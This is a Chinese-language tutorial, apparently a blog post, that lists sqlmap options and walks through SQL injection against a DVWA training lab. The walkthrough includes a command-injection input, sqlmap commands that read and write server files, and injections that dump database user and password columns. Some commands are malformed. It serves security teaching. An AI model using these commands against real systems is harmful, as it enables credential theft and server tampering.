sqlmap中的一些常见的命令:

-h,–help 显示基本的帮助信息并退出
-hh 显示高级帮助信息并退出
–version 显示程序版本信息并退出
-u 目标URL
-m 后接一个txt文件,文件中是多个url,sqlmap会自动化的检测其中的所有url
-r 可以将一个post请求方式的数据包(bp抓包)保存在一个txt中,sqlmap会通过post方式检测目标。

枚举:这些选项可以用来列举后端数据库管理系统的信息,表中的结构和数据。

-b, --banner 获取数据库管理系统的标识
–current-user 获取数据库管理系统当前用户
–current-db 获取数据库管理系统当前数据库
–hostname 获取数据库服务器的主机名称
–is-dba 检测DBMS当前用户是否DBA
–users 枚举数据库管理系统用户
–passwords 枚举数据库管理系统用户密码哈希
–privileges 枚举数据库管理系统用户的权限
–dbs 枚举数据库管理系统数据库
–tables 枚举DBMS数据库中的表
–columns 枚举DBMS数据库表列
-D 要进行枚举的指定数据库名
-T 要进行枚举的指定表名
-C 要进行枚举的指定列名
–dump 转储数据库表项,查询字段值
–search 搜索列(S),表(S)和/或数据库名称(S)
–sql-query=QUERY 要执行的SQL语句
–sql-shell 提示交互式SQL的shell

实例:

利用sqlmap进行文件的读写

简介:sqlmap是一款开源、功能强大的自动化SQL注入工具,支持Access,MySQL,Oracle,SQL Server,DB2等多种数据库。支持get,post ,cookie注入,支持基于布尔的盲注,基于时间的盲注,错误回显注入,联合查询注入,堆查询注入等。
第一步:首先设置好靶机
1.打开http:10.1.1.136,输入用户名:admin 密码:password 登入
在这里插入图片描述

2.找到SQL Injection随意输入一个数,打开burpsuite进行抓包,点击submit,获得cookie.在抓包的时候要注意设置好浏览器的网络设置。

在这里插入图片描述
找到了这个cookie的值。
在这里插入图片描述
在这里插入图片描述
3.在上面找到这个Command Exceution ,并输入:10.1.1.136 & pwd 来获得一个绝对路径。接下来,就是利用这主角sqlmap来进行一下攻击。输入:sqlmap.py -u "sqlmap.py -u “http://10.1.1.136/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie="PHPSESSID=“值"security=low” --file-read=/opt/lampp/htdocs/php.ini 下面的成功读取了php.ini文件,并返回路径。
在这里插入图片描述
这时候我们看看,是否成功就打开这个文件是否在这个路劲中。
在这里插入图片描述

对服务端进行写文件

1.输入:sqlmap.py -u “http://10.1.1.136/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie=“PHPSESSID=“值”; security=low” --file-write C:\1.txt --file-dest /opt/lampp/htdocs/vulnerabilities/exec/1.txt
在这里插入图片描述
现在我们就找到了这些东西哦!!!
在这里插入图片描述

利用sqlmap进行POST注入

POST注入形成的原因:POST注入也属于SQL注入,所以究其原因还是由于参数没有过滤导致的。源码如下:
在这里插入图片描述1.打开 http://10.1.1.136,输入用户名:admin 密码: password,登入
在这里插入图片描述2.找到这个brute force这个选项,随意输入你的admin和password,burpsuite抓包。
在这里插入图片描述3.将这些东西抓好包以后,就放在C:/1.txt中的目录中。打开sqlmap列举数据库,输入命令:sqlmap.py -r c:\1.txt -p username --dbs。
在这里插入图片描述4.选择一个数据库,例如找到mysql,输入命令:sqlmap.py -r c:\1.txt -p username -D mysql --tables.
在这里插入图片描述5.找到了列表,在找列,输入命令:sqlmap.py -r c:\1.txt -p username -D mysql -T user --columns.
在这里插入图片描述6.下面是直接挖掘数据,输入命令: sqlmap.py -r c:\1.txt -p username -D mysql - T user -C “User,Password” --dump.
在这里插入图片描述现在数据进行跑之中。
在这里插入图片描述这个过程比较麻烦,所以我在这里要再说一下其实这个东西挺容易的一定要认真的去理解这些东西。
在这里插入图片描述在这里插入图片描述

利用sqlmap进行需要登入的注入

了解cookie:

cookie是由网景公司的前雇员Lou Montulli在1993年3月的发明,由服务器端生成的,发送给User-Agent(一般是浏览器),浏览器会将cookie的值保存到本地一个文本文件中,下次请求同一网站时就发送该cookie给服务器。cookie开发的初衷是为了改善用户体验,提高网络使用速度。

利用sqlmap 进行Cookie注入

1.打开那个dvwa,选择Setup,嗲你就Creat/Reset Database.
在这里插入图片描述2.找到这个SQL Injection ,在进行设置到权限,打开工具==》选项==》高级==》网络==》设置,手动本地127.0.0.1,端口8080.
打开burpsuite进行抓包。找到cookie,并记录下来。再利用sqlmap注入语句,cookie注入命令:sqlmap.py -u 注入点 --cookie=“获取的cookie”
在这里插入图片描述在这里插入图片描述
这是我们找到啦当前的数据库啦!!!
3.下面我们要做的是列出当前的数据库,Cookie注入命令:sqlmap.py -u 注入点 --cookie=”获取的cookie” --current-db
在这里插入图片描述在这里插入图片描述
4.下面是找到了数据库中的表,Cookie注入命令:sqlmap.py -u 注入点 --cookie=”获取的cookie” -D 数据库 --tables
在这里插入图片描述
在这里插入图片描述5.接下来是找到用户。Cookie注入命令:sqlmap.py -u 注入点 --cookie=”获取的cookie” -D 数据库 -T 表名 --columns。
在这里插入图片描述马上就要看到结果了,查找一下user和password。Cookie注入命令:sqlmap.py -u 注入点 --cookie=”获取的cookie” -D 数据库 -T 表名 -C 列名 --dump。

利用sqlmap辅助手工注入

1.打开dvwa,找到SQL Injection,随意的提交一个数字,打开burpsuite抓包,来获得cookie.
在这里插入图片描述2.打开sqlmap,输入:sqlmap.py -u “url” --cookie=“ ” --sql-query “select user(),version(),database()”

在这里插入图片描述

3.找到了这个数据库的名字dvwa,下面我们就要找到其中的表名,输入:sqlmap.py -u “url” --cookie=" " --sql-query “(select count(*) from dvwa.users)>0”,返回值是 “1”,说明存在users表。
在这里插入图片描述4.下面开始查找列表。输入:sqlmap.py -u “url” --cookie=" " --sql-query “(select count(username) from dvwa.users) >=0”

在这里插入图片描述没有返回值,现在我们就把username改为user,返回值1.
在这里插入图片描述5.现在我们知道啦列名,开始搞一下内容看看里面都有啥?输入:sqlmap.py -u “url” --cookie=" " --sql-query “select user,password from dvwa.users”.
在这里插入图片描述下面就是借助sqlmap选项–sql-query结合手工注入语句得到了user表中的用户信息。

Logo

开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!

更多推荐